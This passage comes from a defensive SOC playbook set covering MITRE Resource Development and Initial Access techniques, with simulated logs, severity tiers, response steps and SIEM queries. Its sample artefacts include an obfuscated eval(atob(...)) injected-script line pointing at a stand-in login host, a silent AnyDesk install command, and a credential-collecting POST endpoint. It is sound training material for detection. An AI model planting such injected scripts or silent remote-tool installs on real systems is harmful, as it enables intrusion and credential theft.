(Trusted account used for phishing with persistence mechanisms)

Step-by-step SOC workflow

Step 1 Validate account compromise

Confirm immediately:

1. Does the account owner **recognise the activity**?
2. Is the login **consistent with historical behaviour**?
3. Are **persistence mechanisms** present:
 - Inbox rules
 - Forwarding
 - OAuth apps
4. Is the account **actively being abused**?

Decision point

- Legitimate activity → document and monitor
- Unrecognised or malicious → continue investigation immediately

Step 2 Identify compromised account scope

Account type	Evidence	Attacker value
Social Media	DMs, posts	Trust exploitation
Email	Mailbox access	BEC, phishing
Cloud	Tokens, roles	Persistence, data access

Step 3 Map compromise behaviour to sub-techniques

3A) Social Media Accounts

Indicators

- Logins from unusual locations
- Messages to finance or executives
- Sudden behaviour change

Attacker intent

- Pretext building
- Trust seeding before phishing

3B) Email Accounts

Indicators

- Password-only login success
- Inbox rule creation
- External forwarding

Attacker intent

- Conversation hijacking
- Phishing delivery
- Payment fraud

3C) Cloud Accounts

Indicators

- OAuth consent abuse
- New tokens or API keys
- Privilege escalation or role change

Attacker intent

- Long-term persistence
- Silent data access
- Cross-service pivoting

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Phishing / BEC
 - Outbound emails
 - Invoice or bank-detail changes
2. Privilege escalation
 - Role modifications
 - Admin portal access
3. Lateral movement
 - SharePoint, OneDrive, Teams, SaaS access

Decision point

- Any malicious activity → escalate to Incident Response

Containment actions

If compromise detected early

1. Disable the account immediately
2. Force password reset
3. Re-enrol MFA
4. Revoke all sessions and tokens

If compromise used maliciously

1. Disable affected and related accounts
2. Remove inbox rules, forwarding, OAuth apps
3. Notify impacted recipients and partners
4. Freeze financial workflows if applicable

Eradication and recovery

- Rotate all credentials and secrets
- Audit IAM roles and permissions
- Remove unauthorised apps and tokens

- Validate no persistence remains
- Issue formal assurance statement

Detection engineering (SIEM ideas)

A) Inbox rule abuse

index=email
| where activity="CreateInboxRule"
| stats count by user

B) OAuth persistence detection

index=cloud_auth
| where activity="OAuthConsent"
| where permissions LIKE "%Mail.Read%"

C) Login anomaly detection

index=auth
| where login_result="success"
| stats dc(src_ip) by user
| where dc(src_ip) > 3

Analyst checklist

- Account legitimacy confirmed
- Compromise method identified
- Persistence removed
- Downstream impact assessed
- Stakeholders notified

Post-incident improvements

- Enforce phishing-resistant MFA
- Restrict OAuth app consent
- Monitor inbox rule creation
- Reduce standing cloud privileges
- Strengthen partner and vendor account controls

Playbook 15 (MITRE Resource Development): Compromise Infrastructure

Technique: Compromise Infrastructure

Sub-techniques:

- Domains
- DNS Server
- Virtual Private Server
- Server
- Botnet
- Web Services
- Serverless
- Network Devices

Purpose

Detect, investigate and respond to adversaries compromising third-party or previously legitimate infrastructure and repurposing it as attack infrastructure, enabling:

- Command-and-Control (C2)
- Phishing and credential harvesting
- Malware hosting and staging
- Traffic redirection and anonymisation
- Abuse of trust and reputation (infrastructure appears benign)

This technique allows attackers to blend into normal Internet traffic, evade reputation-based controls and rapidly scale operations.

When to trigger this playbook

Trigger this playbook when indicators suggest previously legitimate infrastructure is being abused, including:

- Sudden malicious behaviour from long-standing domains or IPs
- DNS servers resolving to unexpected destinations
- VPS or servers with clean reputation used in phishing or C2
- Compromised websites hosting payloads or redirecting traffic
- Botnet activity originating from consumer or IoT devices
- Abuse of SaaS, serverless or cloud services for data exfiltration
- Network devices generating outbound connections atypical for their role

Example use case scenario (end-to-end)

Context: SOC observes phishing links hosted on a legitimate small business website. Further analysis shows the site was compromised and is redirecting users to a credential-harvesting page hosted elsewhere, while DNS records were altered to support fast redirection.

Attacker objective: Compromise existing infrastructure to inherit trust, reduce blocking and maintain resilience.

Defender objective: Identify abuse quickly, block and notify and prevent reuse across campaigns.

What it looks like (simulated SOC artefacts)

A) Domains (Previously Legitimate)

2026-02-22T02:11:02Z
domain=local-business[.]my
domain_age=9_years
current_use=phishing_redirect

B) DNS Server Compromise

2026-02-22T02:11:18Z
domain=local-business[.]my
authoritative_ns=ns1.compromised-dns[.]net
ttl=30

C) Virtual Private Server (VPS)

2026-02-22T02:11:34Z
dst_ip=194.87.123.44
asn=CloudVSPProvider
reputation=previously_clean
current_activity=C2_beacon

D) Server (Web / Application)

2026-02-22T02:11:49Z
url=hxxps://local-business[.]my/assets/update.js
content=credential_harvester

E) Botnet Infrastructure

2026-02-22T02:12:06Z

src_ip=192.168.1.101
device_type=IoT_Router
pattern=periodic_beacon
interval=120s

F) Web Services Abuse

2026-02-22T02:12:21Z
service=CloudObjectStorage
bucket=public-assets-prod
hosted_content=phishing_pages

G) Serverless Abuse

2026-02-22T02:12:35Z
endpoint=hxxps://functions-cloud[.]net/collect
method=POST
payload=credentials

H) Network Devices

2026-02-22T02:12:52Z
device=EdgeFirewall
outbound_connection=hxxps://control-node[.]net
unexpected=true

Severity decision (SOC)

Low

- Infrastructure observed but blocked
- No user interaction or data exchange

Medium

- Compromised infrastructure contacted
- No confirmed credential or payload exchange

High

- Active phishing, C2 or malware delivery
- Multiple compromised infrastructure layers
- Credential theft, beaconing or lateral movement observed

Example severity: High

(Compromised domain + DNS + serverless credential exfiltration)

Step-by-step SOC workflow

Step 1 Validate infrastructure compromise

Confirm:

1. Was the infrastructure previously legitimate?
2. Has behaviour changed recently?
3. Is content or traffic clearly malicious?
4. Is the infrastructure shared across multiple victims?

Decision point

- Benign misconfiguration → notify owner, monitor
- Malicious compromise → continue investigation immediately

Step 2 Identify compromised infrastructure scope

Sub-technique	Evidence	Attacker value
Domains	Aged domains abused	Reputation laundering
DNS Server	Altered resolution	Redirection / resilience
VPS	Clean IPs	Stealth C2
Server	Payload hosting	Malware delivery
Botnet	Many nodes	Scale
Web Services	SaaS abuse	Low cost, high trust
Serverless	POST collectors	Exfiltration evasion
Network Devices	Embedded footholds	Persistent access

Step 3 Map compromise type to attacker intent

3A) Domains

Indicators

- Old domains serving malicious content
- Sudden page or script changes

Attacker intent

- Bypass reputation-based blocking

3B) DNS Server

Indicators

- NS changes
- Fast-flux or low TTL

Attacker intent

- Redirection and resilience

3C) Virtual Private Server (VPS)

Indicators

- Clean VPS used for beaconing
- Low-noise traffic patterns

Attacker intent

- Blend with legitimate cloud traffic

3D) Server

Indicators

- Compromised CMS or web app
- Injected scripts or payloads

Attacker intent

- Malware or phishing hosting

3E) Botnet

Indicators

- Periodic outbound connections
- Consumer / IoT device sources

Attacker intent

- Distributed C2 and delivery

3F) Web Services

Indicators

- SaaS buckets hosting phishing kits
- Abuse of trusted platforms

Attacker intent

- Trust inheritance

3G) Serverless

Indicators

- POST-only endpoints
- No user browsing

Attacker intent

- Silent credential exfiltration

3H) Network Devices

Indicators

- Unexpected outbound traffic
- Config or firmware changes

Attacker intent

- Long-term persistence
- Traffic manipulation

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Form submissions
 - Auth anomalies
2. Command-and-Control
 - Beacon patterns
 - DNS tunnelling
3. Lateral Movement / Impact
 - Internal scanning

- Data access or disruption

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If infrastructure abuse only

1. Block domains, IPs, URLs across controls
2. Add DNS sinkhole entries
3. Notify hosting providers or owners

If active compromise and impact

1. Block immediately at DNS, proxy, firewall, EDR
2. Isolate affected endpoints or devices
3. Reset exposed credentials
4. Activate full IR workflow

Eradication and recovery

- Remove malware or injected code
- Patch and harden compromised servers
- Rotate credentials and API keys
- Validate no persistence remains
- Update IOC and detection sets

Detection engineering (SIEM ideas)

A) Aged domain suddenly malicious

```
index=proxy OR index=dns  
| where domain_age > 365 AND category="phishing"  
| stats count by domain
```

B) Beaconing from non-server assets

```
index=network  
| bucket span=2m _time  
| stats count by src_ip, dest_domain  
| where count > 10
```

Analyst checklist

- Infrastructure legitimacy confirmed
- Compromise type identified
- Blocking and notifications completed
- Credential exposure assessed
- Follow-on activity ruled out

Post-incident improvements

- Monitor behaviour changes in aged domains
- Improve DNS change visibility
- Expand detection for serverless and SaaS abuse
- Harden network device management and firmware
- Automate provider and ISP notification workflows

Playbook 16 (MITRE Resource Development): Develop Capabilities

Technique: Develop Capabilities

Sub-techniques:

- Malware
- Code Signing Certificates
- Digital Certificates
- Exploits

Purpose

Detect, investigate and respond to adversaries developing or customising offensive capabilities prior to execution, enabling:

- Targeted and evasive malware delivery
- Trust abuse via signed binaries and TLS
- Precision exploitation of known or zero-day vulnerabilities
- Reduced detection through bespoke tooling

This technique occurs before Initial Access but directly fuels Initial Access, Execution, Defense Evasion and Impact.

When to trigger this playbook

Trigger this playbook when indicators suggest capability development or testing, including:

- Appearance of novel or low-prevalence malware
- Signed binaries behaving maliciously
- TLS infrastructure aligned with malware or phishing kits
- Exploit attempts tailored to your technology stack
- Threat intel indicating custom tooling for your sector/org

Example use case scenario (end-to-end)

Context: SOC observes a signed binary delivered via email that bypasses reputation checks. EDR flags anomalous behaviour and analysis shows a custom loader paired with a recent exploit for a web-facing service.

Attacker objective: Develop capabilities that blend in, evade controls and work reliably against the target environment.

Defender objective: Identify capability development early, block delivery paths and prevent execution.

What it looks like (simulated SOC artefacts)

A) Malware (Custom / Low-Prevalence)

2026-02-24T02:11:02Z
file=invoice_viewer.exe
hash=3b9f4e...
prevalence=low
family=unknown
2026-02-24T02:11:06Z
edr_behavior=process_injection
child_process=svchost.exe

B) Code Signing Certificates (Abuse)

2026-02-24T02:11:18Z
binary_signature=valid
issuer=TrustedVendor LLC
certificate_age=5_days
2026-02-24T02:11:21Z
revocation_status=unknown

C) Digital Certificates (TLS / Infra)

2026-02-24T02:11:34Z
tls_cn=update-sync.examplecdn.net
issuer=PublicCA
san=cdn-assets.examplecdn.net
2026-02-24T02:11:37Z
usage=C2_communication

D) Exploits (Targeted)

2026-02-24T02:11:52Z
ids_signature=WebApp_RCE_Attempt
target=legacy-app.example.my
cve=CVE-2025-XXXX
2026-02-24T02:11:55Z
payload=custom_shellcode

Severity decision (SOC)

Low

- Generic malware blocked by controls
- No execution or exploitation

Medium

- Novel tooling detected but contained
- No persistence or lateral movement

High

- Signed malware executed
- Active exploit attempts aligned with environment
- Evidence of C2 or credential theft

Example severity: High

(Signed custom loader + targeted exploit)

Step-by-step SOC workflow

Step 1 Validate capability novelty and intent

Confirm:

1. Is the tooling custom or low-prevalence?
2. Are signatures valid but suspicious (newly issued)?
3. Is exploit activity environment-specific?
4. Is there testing or staging behaviour?

Decision point

- Commodity tooling → standard handling
- Custom capability → continue investigation immediately

Step 2 Identify capability scope

Capability	Evidence	Attacker value
Malware	Custom loaders	Evasion
Code signing	Valid signatures	Trust abuse
Certificates	TLS for C2	Stealth
Exploits	Targeted CVEs	Reliable access

Step 3 Map development type to sub-techniques

3A) Malware

Indicators

- Unknown family
- Low prevalence
- Anti-analysis features

Attacker intent

- Evade detection
- Enable modular payloads

3B) Code Signing Certificates

Indicators

- Newly issued certs
- Mismatch between signer and behaviour

Attacker intent

- Bypass reputation controls
- Reduce user suspicion

3C) Digital Certificates

Indicators

- Short-lived TLS certs
- Certs aligned with malware infra

Attacker intent

- Hide C2 traffic
- Rapid infrastructure rotation

3D) Exploits

Indicators

- Payloads tuned to specific versions
- Exploit chains (RCE → loader)

Attacker intent

- Reliable compromise

- Minimal noise

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Execution and persistence
 - Autoruns, scheduled tasks
2. Defense evasion
 - AMSI bypass, EDR tampering
3. Command-and-Control
 - TLS beacons, DNS tunnelling

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If capability observed pre-execution

1. Block hashes, certs, domains
2. Quarantine artifacts
3. Disable vulnerable services

If capability executed

1. Isolate affected endpoints
2. Kill malicious processes
3. Revoke certificates (notify CA)
4. Apply emergency patches

Eradication and recovery

- Remove malware and persistence
- Rotate credentials and secrets
- Reimage systems if required
- Validate exploit paths are closed
- Update detections and signatures

Detection engineering (SIEM ideas)

A) Signed-but-malicious binaries

```
index=edr  
| where signature="valid"  
| where behavior IN ("process_injection","credential_dumping")
```

B) Low-prevalence malware detection

```
index=edr  
| where prevalence="low"  
| stats count by hash
```

C) Exploit alignment detection

```
index=ids  
| where cve IS NOT NULL  
| stats count by target
```

Analyst checklist

- Capability novelty confirmed
- Scope and delivery path identified
- Execution and persistence checked
- Blocking and patching completed
- Stakeholders notified

Post-incident improvements

- Strengthen certificate reputation checks
- Enforce application allowlisting
- Reduce exploit exposure via patch SLAs
- Integrate TI on custom tooling
- Conduct purple-team validation against bespoke malware

Playbook 17 (MITRE Resource Development): Establish Accounts

Technique: Establish Accounts

Sub-techniques:

- Social Media Accounts
- Email Accounts
- Cloud Accounts

Purpose

Detect, investigate and respond to adversaries creating new accounts under their control to support operations, enabling:

- Long-lived phishing and social engineering campaigns
- Brand and identity impersonation
- Infrastructure access (cloud/SaaS) without immediate malware
- Evasion of reputation-based controls through “clean” accounts

Unlike Compromise Accounts, these identities are newly created and appear legitimate, often aging quietly before use.

When to trigger this playbook

Trigger this playbook when indicators suggest attacker-established identities interacting with your organisation, including:

- New social media profiles engaging employees or executives
- Recently created email accounts contacting finance/HR/IT
- Newly registered cloud tenants or SaaS accounts accessing shared resources
- OAuth or external sharing requests from unfamiliar tenants
- Threat intel reports of fake brands, personas or tenants linked to campaigns

Example use case scenario (end-to-end)

Context: SOC receives user reports of LinkedIn messages from a newly created “vendor employee” profile. Shortly after, emails arrive from a fresh email domain requesting invoice updates and a new cloud tenant requests document access.

Attacker objective: Establish clean, trusted identities that bypass filters and human scepticism before launching fraud or access attempts.

Defender objective: Identify attacker-controlled accounts early, block interaction and prevent trust establishment.

What it looks like (simulated SOC artefacts)

A) Social Media Accounts (New Persona)

2026-02-26T01:11:04Z
platform=LinkedIn
profile_age=6_days
profile_name="Accounts Manager – TrustedVendor"
connection_requests=Finance_Team
2026-02-26T01:11:08Z
message="Following up on updated banking details discussed last week"

B) Email Accounts (Fresh Sender)

2026-02-26T01:18:41Z
sender=accounts@trustedvendor-billing[.]com
domain_age=9_days
auth=SPF_PASS, DKIM_PASS
email_gateway_verdict=allowed
2026-02-26T01:18:45Z
subject="Updated Payment Instructions"
recipient_role=Finance

C) Cloud Accounts (New Tenant / SaaS Identity)

2026-02-26T01:29:33Z
platform=CloudSaaS
external_tenant="trustedvendor-collab"
tenant_age=12_days
activity=SharePointAccessRequest
resource="/Finance/Invoices"
2026-02-26T01:29:36Z
risk_signal=new_tenant + sensitive_resource

Severity decision (SOC)

Low

- New accounts detected but no interaction
- Blocked by policy or ignored by users

Medium

- Interaction without sensitive data exposure

- Single channel used (social OR email OR cloud)

High

- Coordinated use of multiple newly established accounts
- Targeting finance, HR or executives
- Requests for payment, credentials or privileged access

Example severity: High

(New social + email + cloud accounts converging on finance workflows)

Step-by-step SOC workflow

Step 1 Validate account legitimacy

Confirm quickly:

1. Is the account recently created?
2. Does it claim association with a known partner or brand?
3. Is there external verification (vendor contact, contract)?
4. Is the behaviour context-appropriate for the claimed role?

Decision point

- Legitimate and verified → document and monitor
- Unverified or deceptive → continue investigation immediately

Step 2 Identify established account scope

Account type	Evidence	Attacker value
Social media	New profiles	Trust seeding
Email	New domains/accounts	Phishing & BEC
Cloud	New tenants/apps	Access & persistence

Step 3 Map establishment behaviour to sub-techniques

3A) Social Media Accounts

Indicators

- Recently created profiles
- Rapid connection requests to specific roles
- Professional branding without history

Attacker intent

- Pretext building
- Relationship establishment

3B) Email Accounts

Indicators

- Newly registered domains
- Clean authentication (SPF/DKIM pass)
- Financial or credential-related requests

Attacker intent

- Bypass email reputation controls
- Launch BEC or phishing

3C) Cloud Accounts

Indicators

- New tenants requesting sharing or OAuth access
- Minimal activity except targeted access
- App names mimicking legitimate tools

Attacker intent

- Silent access to documents
- Long-term foothold without malware

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Fraud / BEC
 - Invoice or bank detail changes
2. Credential harvesting
 - OAuth consent requests
 - Fake login portals
3. Persistence
 - Continued engagement without escalation

Decision point

- Evidence found → escalate to Incident Response (Fraud / Identity Abuse)

Containment actions

If establishment detected early

1. Block accounts/domains/tenants
2. Warn targeted users and teams
3. Update allow/deny lists (email, SaaS)

If accounts actively used

1. Block across all controls (email, proxy, SaaS)
2. Notify business owners (Finance, HR, Procurement)
3. Freeze transactions or access requests
4. Preserve evidence for fraud investigation

Eradication and recovery

- Remove external sharing and OAuth grants
- Block lookalike domains and tenants
- Reset affected workflows (payment verification)
- Conduct targeted awareness for affected teams
- Update detection logic for “new account” signals

Detection engineering (SIEM ideas)

A) New sender domain targeting finance

```
index=email  
| where domain_age < 14  
| where recipient_role="Finance"  
| stats count by sender_domain
```

B) New SaaS tenant access attempts

```
index=cloud_access  
| where tenant_age < 30  
| where resource IN ("Finance","HR")
```

C) Multi-channel identity correlation

```
(index=social OR index=email OR index=cloud)  
| transaction brand maxspan=24h
```

| where eventcount > 2

Analyst checklist

- Account age and origin confirmed
- Brand or partner verification completed
- Multi-channel correlation assessed
- Blocking and notifications executed
- Business stakeholders informed

Post-incident improvements

- Enforce verification for vendor identity changes
- Flag “new account” as a first-class risk signal
- Restrict default external sharing in SaaS
- Integrate OSINT and TI on fake personas
- Regularly simulate identity-only attack scenarios

Playbook 18 (MITRE Resource Development): Obtain Capabilities

Technique: Obtain Capabilities

Sub-techniques:

- Malware
- Tool
- Code Signing Certificates
- Digital Certificates
- Exploits
- Vulnerabilities
- Artificial Intelligence

Purpose

Detect, investigate and respond to adversaries acquiring pre-built offensive capabilities rather than developing them in-house, enabling:

- Rapid operational readiness
- Reduced development time and cost
- Access to mature, tested attack tooling
- Increased scale and automation
- Lower skill barrier for sophisticated attacks

This technique often overlaps with access brokers, malware-as-a-service (MaaS), exploit kits and AI-assisted attack tooling and occurs before Initial Access.

When to trigger this playbook

Trigger this playbook when indicators suggest externally sourced attack capabilities interacting with or preparing to target your environment, including:

- Detection of known malware families or commercial tools
- Signed malware or binaries linked to third-party sellers
- Exploit attempts matching public exploit kits
- Attacks aligned with recently disclosed vulnerabilities
- AI-generated phishing, deepfake content or automated reconnaissance
- Threat intel reporting capability sales tied to your sector

Example use case scenario (end-to-end)

Context: SOC detects credential harvesting malware delivered via phishing, followed by automated password spraying and AI-generated follow-up emails tailored to finance staff.

Attacker objective: Purchase mature capabilities to execute fast, scalable and adaptive attacks without bespoke development.

Defender objective: Identify obtained capabilities early, correlate usage and shut down attack paths before escalation.

What it looks like (simulated SOC artefacts)

A) Malware (Purchased MaaS)

2026-02-28T01:11:02Z
file=loader_v2.exe
family=Redline
distribution=malware_as_a_service
2026-02-28T01:11:06Z
edr_behavior=credential_dumping

B) Tool (Commercial / Underground)

2026-02-28T01:14:18Z
process=AnyDesk.exe
usage_context=unauthorised
command_line="--silent --install"
2026-02-28T01:14:21Z
tool_origin=third_party

C) Code Signing Certificates (Purchased)

2026-02-28T01:18:44Z
binary_signature=valid
issuer=SmallSoftwareVendor Ltd
certificate_age=12_days

D) Digital Certificates (TLS for C2)

2026-02-28T01:22:31Z
tls_cn=cdn-sync-updates[.]net
issuer=PublicCA
certificate_lifetime=30_days

E) Exploits (Exploit Kit)

2026-02-28T01:26:12Z
ids_signature=ExploitKit_Web

cve=CVE-2025-YYYY
delivery=drive_by

F) Vulnerabilities (Weaponised)

2026-02-28T01:26:15Z
target_service=VPN_Gateway
vulnerability_status=known_unpatched

G) Artificial Intelligence (AI-Assisted)

2026-02-28T01:29:41Z
email_language_score=human_like
content_variation=unique_per_recipient
generation_method=AI
2026-02-28T01:29:44Z
voice_call=deepfake_CFO

Severity decision (SOC)

Low

- Capability observed but blocked
- No execution or interaction

Medium

- Capability executed but contained
- Limited scope and no persistence

High

- Multiple obtained capabilities used together
- Credential compromise, exploitation or C2 observed
- AI-assisted adaptation or automation

Example severity: High

(MaaS + exploit kit + AI-generated phishing)

Step-by-step SOC workflow

Step 1 Validate capability source and maturity

Confirm:

1. Is the capability commercially available or widely sold?
2. Is it known, mature and reliable?
3. Does it match threat intel reports?
4. Is it being used exactly as sold (default behaviour)?

Decision point

- Commodity capability → standard containment
- High-impact or combined capability → continue investigation immediately

Step 2 Identify obtained capability scope

Capability	Evidence	Attacker value
Malware	Known MaaS	Rapid infection
Tools	RMM / scanners	Living-off-the-land
Code signing	Valid certs	Trust abuse
Certificates	TLS C2	Stealth
Exploits	Exploit kits	Speed
Vulnerabilities	Weaponised CVEs	Guaranteed access
AI	Adaptive content	Scale & realism

Step 3 Map obtained capabilities to sub-techniques

3A) Malware

Indicators

- Known malware family
- MaaS artefacts

Attacker intent

- Quick compromise
- Data theft or loader delivery

3B) Tool

Indicators

- Remote admin tools
- Dual-use utilities

Attacker intent

- Blend with admin activity
- Avoid custom malware

3C) Code Signing Certificates

Indicators

- Recently issued certs
- Mismatch between signer and behaviour

Attacker intent

- Evade reputation checks

3D) Digital Certificates

Indicators

- Short-lived TLS certs
- C2-aligned domains

Attacker intent

- Encrypted command channels

3E) Exploits

Indicators

- Exploit kit signatures
- No reconnaissance phase

Attacker intent

- Immediate access

3F) Vulnerabilities

Indicators

- Attacks aligned with known CVEs
- Targeted unpatched services

Attacker intent

- Predictable success

3G) Artificial Intelligence

Indicators

- High linguistic variation
- Voice or image deepfakes

Attacker intent

- Social trust manipulation
- Automation at scale

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Credential Access
 - Dumps, token theft
2. Persistence
 - Scheduled tasks, OAuth apps
3. Command-and-Control
 - TLS or DNS beaconing
4. Fraud / Impact
 - BEC, data exfiltration

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If capability blocked early

1. Block hashes, tools, domains, certificates
2. Patch exploited vulnerabilities
3. Increase monitoring for reuse

If capability executed

1. Isolate affected endpoints
2. Remove malware and tools
3. Rotate credentials and tokens

4. Disable abused services

Eradication and recovery

- Remove persistence mechanisms
- Reimage systems if required
- Revoke certificates and tokens
- Close exploited vulnerabilities
- Update detections and playbooks

Detection engineering (SIEM ideas)

A) Known malware family detection

```
index=edr  
| where malware_family IS NOT NULL  
| stats count by malware_family
```

B) AI phishing indicators

```
index=email  
| where language_variation_score > threshold  
| stats count by sender
```

C) Exploit + vuln correlation

```
index=ids  
| where cve IS NOT NULL  
| stats count by target_service
```

Analyst checklist

- Capability source identified
- Scope and impact assessed
- Execution and persistence ruled out
- Patching and blocking completed
- Stakeholders informed

Post-incident improvements

- Prioritise patching for weaponised CVEs
- Treat AI-assisted attacks as default threat
- Expand detection for MaaS and RaaS artefacts
- Restrict dual-use tools by policy

- Integrate TI on capability marketplaces

BY IZMER IZUDDIN

Playbook 19 (MITRE Resource Development): Stage Capabilities

Technique: Stage Capabilities

Sub-techniques:

- Upload Malware
- Upload Tool
- Install Digital Certificate
- Drive-by Target
- Link Target
- SEO Poisoning

Purpose

Detect, investigate and respond to adversaries positioning previously obtained or developed capabilities so they are ready for delivery or execution, enabling:

- Rapid transition into Initial Access
- Minimal setup time during the attack
- Reduced detection during delivery
- High-success phishing, exploitation or drive-by compromise

Staging occurs after capabilities are obtained and before Initial Access and often leaves subtle but detectable preparation signals.

When to trigger this playbook

Trigger this playbook when indicators suggest attack assets are being positioned for imminent use, including:

- Malware or tools uploaded to compromised or attacker-controlled servers
- Digital certificates installed or bound to infrastructure shortly before use
- Websites modified to host malicious scripts or redirects
- Phishing infrastructure fully prepared but not yet activated
- Search results or ads redirecting to malicious landing pages
- Threat intel indicating “campaign staging” or “payload ready” status

Example use case scenario (end-to-end)

Context: SOC observes a new domain hosting a phishing login page. The page is not yet referenced in emails, but malware is uploaded, TLS certificates are installed and Google search results begin pointing to it.

Attacker objective: Stage all components so Initial Access can be launched instantly and at scale.

Defender objective: Detect staging early and disrupt before user interaction occurs.

What it looks like (simulated SOC artefacts)

A) Upload Malware

2026-03-01T02:11:02Z
server=stage-node[.]net
file=payload_v3.exe
upload_method=SFTP
file_hash=91af3d...
2026-03-01T02:11:06Z
file_status=inactive

B) Upload Tool

2026-03-01T02:11:21Z
file=credential_harvester.js
location=/var/www/assets/
2026-03-01T02:11:24Z
tool_type=phishing_kit_component

C) Install Digital Certificate

2026-03-01T02:11:39Z
domain=secure-login-example[.]com
tls_cert_installed=true
issuer=PublicCA
certificate_age=0_days

D) Drive-by Target

2026-03-01T02:11:55Z
website=compromised-blog[.]my
injected_script=redirect.js
trigger=page_load

E) Link Target

2026-03-01T02:12:11Z
shortened_url=hxxps://bit.ly/3xKpA1

destination=secure-login-example[.]com

F) SEO Poisoning

2026-03-01T02:12:29Z

search_term="Example Bank account login"

result_rank=3

landing_page=secure-login-example[.]com

Severity decision (SOC)

Low

- Staging observed but no user exposure
- Infrastructure isolated and unused

Medium

- Staged assets partially visible (search, ads, redirects)
- No confirmed user interaction

High

- Multiple staging techniques combined
- Evidence of imminent delivery (emails queued, ads live)
- Initial user interaction detected

Example severity: High

(Malware uploaded + cert installed + SEO poisoning live)

Step-by-step SOC workflow

Step 1 Validate staging intent

Confirm:

1. Are the assets recently uploaded or modified?
2. Are they inactive but complete (payloads, kits, certs)?
3. Is infrastructure newly registered or repurposed?
4. Is there alignment with known campaigns or TI reports?

Decision point

- Benign hosting activity → monitor

- Coordinated staging → continue investigation immediately

Step 2 Identify staged capability scope

Sub-technique	Evidence	Attacker value
Upload Malware	Payload staged	Immediate execution
Upload Tool	Harvesters/kits	Data collection
Digital Certificate	TLS enabled	Trust & stealth
Drive-by Target	Script injection	Silent compromise
Link Target	Short links	Click optimisation
SEO Poisoning	Search ranking	Mass exposure

Step 3 Map staging behaviour to sub-techniques

3A) Upload Malware

Indicators

- New binaries on staging servers
- No immediate execution

Attacker intent

- Rapid deployment during attack launch

3B) Upload Tool

Indicators

- Phishing kit components
- Recon or harvesting scripts

Attacker intent

- Credential or data collection

3C) Install Digital Certificate

Indicators

- Fresh TLS certificates
- HTTPS enabled shortly before activity

Attacker intent

- Increase user trust
- Bypass security warnings

3D) Drive-by Target

Indicators

- Injected JavaScript
- Redirects without user interaction

Attacker intent

- Automatic compromise

3E) Link Target

Indicators

- URL shorteners
- Redirect chains

Attacker intent

- Obfuscate destination
- Track clicks

3F) SEO Poisoning

Indicators

- Malicious domains ranking for branded terms
- Search ads pointing to fake sites

Attacker intent

- Passive victim acquisition at scale

Step 4 Hunt for follow-on actions

Immediately pivot to:

1. Initial Access signals
 - Phishing emails sent
 - Credential submissions
2. Malware execution

- Downloads
 - EDR alerts
- 3. Command-and-Control
 - Beacons
 - TLS sessions to staged infra

Decision point

- Evidence found → escalate to Incident Response

Containment actions

If staging detected pre-delivery

1. Block domains, URLs, IPs
2. Request takedown (hosting, registrar, ad network)
3. Sinkhole DNS entries
4. Notify search engines / URL shorteners

If staging already exposed users

1. Block immediately across all controls
2. Isolate affected endpoints
3. Reset credentials if harvesting suspected
4. Preserve artefacts for investigation

Eradication and recovery

- Remove malicious content from compromised sites
- Rotate exposed credentials and certificates
- Validate no additional staged assets exist
- Update detections and TI feeds
- Issue assurance and awareness to stakeholders

Detection engineering (SIEM ideas)

A) New content on suspicious domains

index=web OR index=proxy
| where domain_age < 14
| stats count by domain

B) TLS cert age anomaly

index=proxy
| where certificate_age < 3
| stats count by dest_domain

C) Redirect and short-link detection

index=proxy
| where url_length < 30 AND redirect_count > 2

Analyst checklist

- Staged assets identified
- Exposure status confirmed
- Blocking and takedowns initiated
- User impact assessed
- Follow-on activity ruled out

Post-incident improvements

- Monitor staging indicators as early-warning signals
- Integrate SEO and ad-abuse telemetry
- Flag new TLS certificates on lookalike domains
- Improve detection of pre-delivery infrastructure
- Include “staging disruption” in SOAR playbooks

INITIAL ACCESS

Initial Access is the stage where attackers move from preparation into action by successfully gaining a foothold in the victim environment. After reconnaissance and resource development, adversaries exploit exposed services, abuse valid credentials, deliver phishing payloads or leverage trusted relationships to breach systems for the first time. This phase is critical because it represents the transition from intent to impact once initial access is achieved, attackers can pivot into execution, persistence and lateral movement. For SOC teams, detecting Initial Access quickly is essential, as early containment can prevent full compromise, limit blast radius and stop the attack before it escalates into credential theft, ransomware, data exfiltration or business disruption.

Playbook 20 (MITRE Initial Access): Content Injection

Technique: Content Injection

Purpose

Detect, investigate and respond to malicious content injected into trusted content delivery paths, enabling attackers to:

- Bypass reputation and allowlists
- Exploit user trust in known websites
- Deliver malware without phishing emails
- Harvest credentials silently
- Trigger follow-on exploitation or C2

This technique is a direct Initial Access vector and often follows Stage Capabilities.

When to trigger this playbook

Trigger this playbook when indicators suggest malicious content embedded in trusted locations, including:

- Unexpected script changes on trusted websites
- Malicious redirects from reputable domains
- User reports of prompts or downloads from known sites
- IDS/WAF alerts tied to injected scripts
- Proxy/DNS traffic to attacker infrastructure originating from trusted referrers

Example use case scenario (end-to-end)

Context: SOC detects users being redirected to a credential-harvesting page after visiting a legitimate industry news site. Investigation reveals a malicious JavaScript injected via a compromised CMS plugin.

Attacker objective: Use trusted content as a delivery mechanism to achieve silent initial access.

Defender objective: Identify injected content quickly, block delivery paths and prevent further user exposure.

What it looks like (simulated SOC artefacts)

A) Web Server / CMS Change Logs

2026-03-04T01:11:02Z

site=trusted-news[.]my

file=/wp-content/plugins/analytics/track.js

change=modified

editor=unknown

2026-03-04T01:11:06Z

injected_code="eval(atob('aHR0cHM6Ly9sb2dpbi1zZW50cmUuZXhhbXBsZS5jb20='))"

B) Proxy Logs – Malicious Redirect

2026-03-04T01:11:21Z

user=employee12

referrer=https://trusted-news[.]my/article/finance

redirect_to=https://secure-login-example[.]com

C) Endpoint / Browser Telemetry

2026-03-04T01:11:34Z

process=chrome.exe

child_process=powershell.exe

command_line=download_payload.ps1

D) WAF / IDS Alerts

2026-03-04T01:11:49Z

rule=Injected_Script_Detection

uri=/wp-content/plugins/analytics/track.js

action=alert

Severity decision (SOC)

Low

- Injection detected but blocked before user exposure
- No redirects or downloads

Medium

- Injection active with limited user exposure
- No confirmed credential submission or execution

High

- Active injection with redirects, downloads or credential harvesting

- Endpoint execution or beaconing observed

Example severity: High

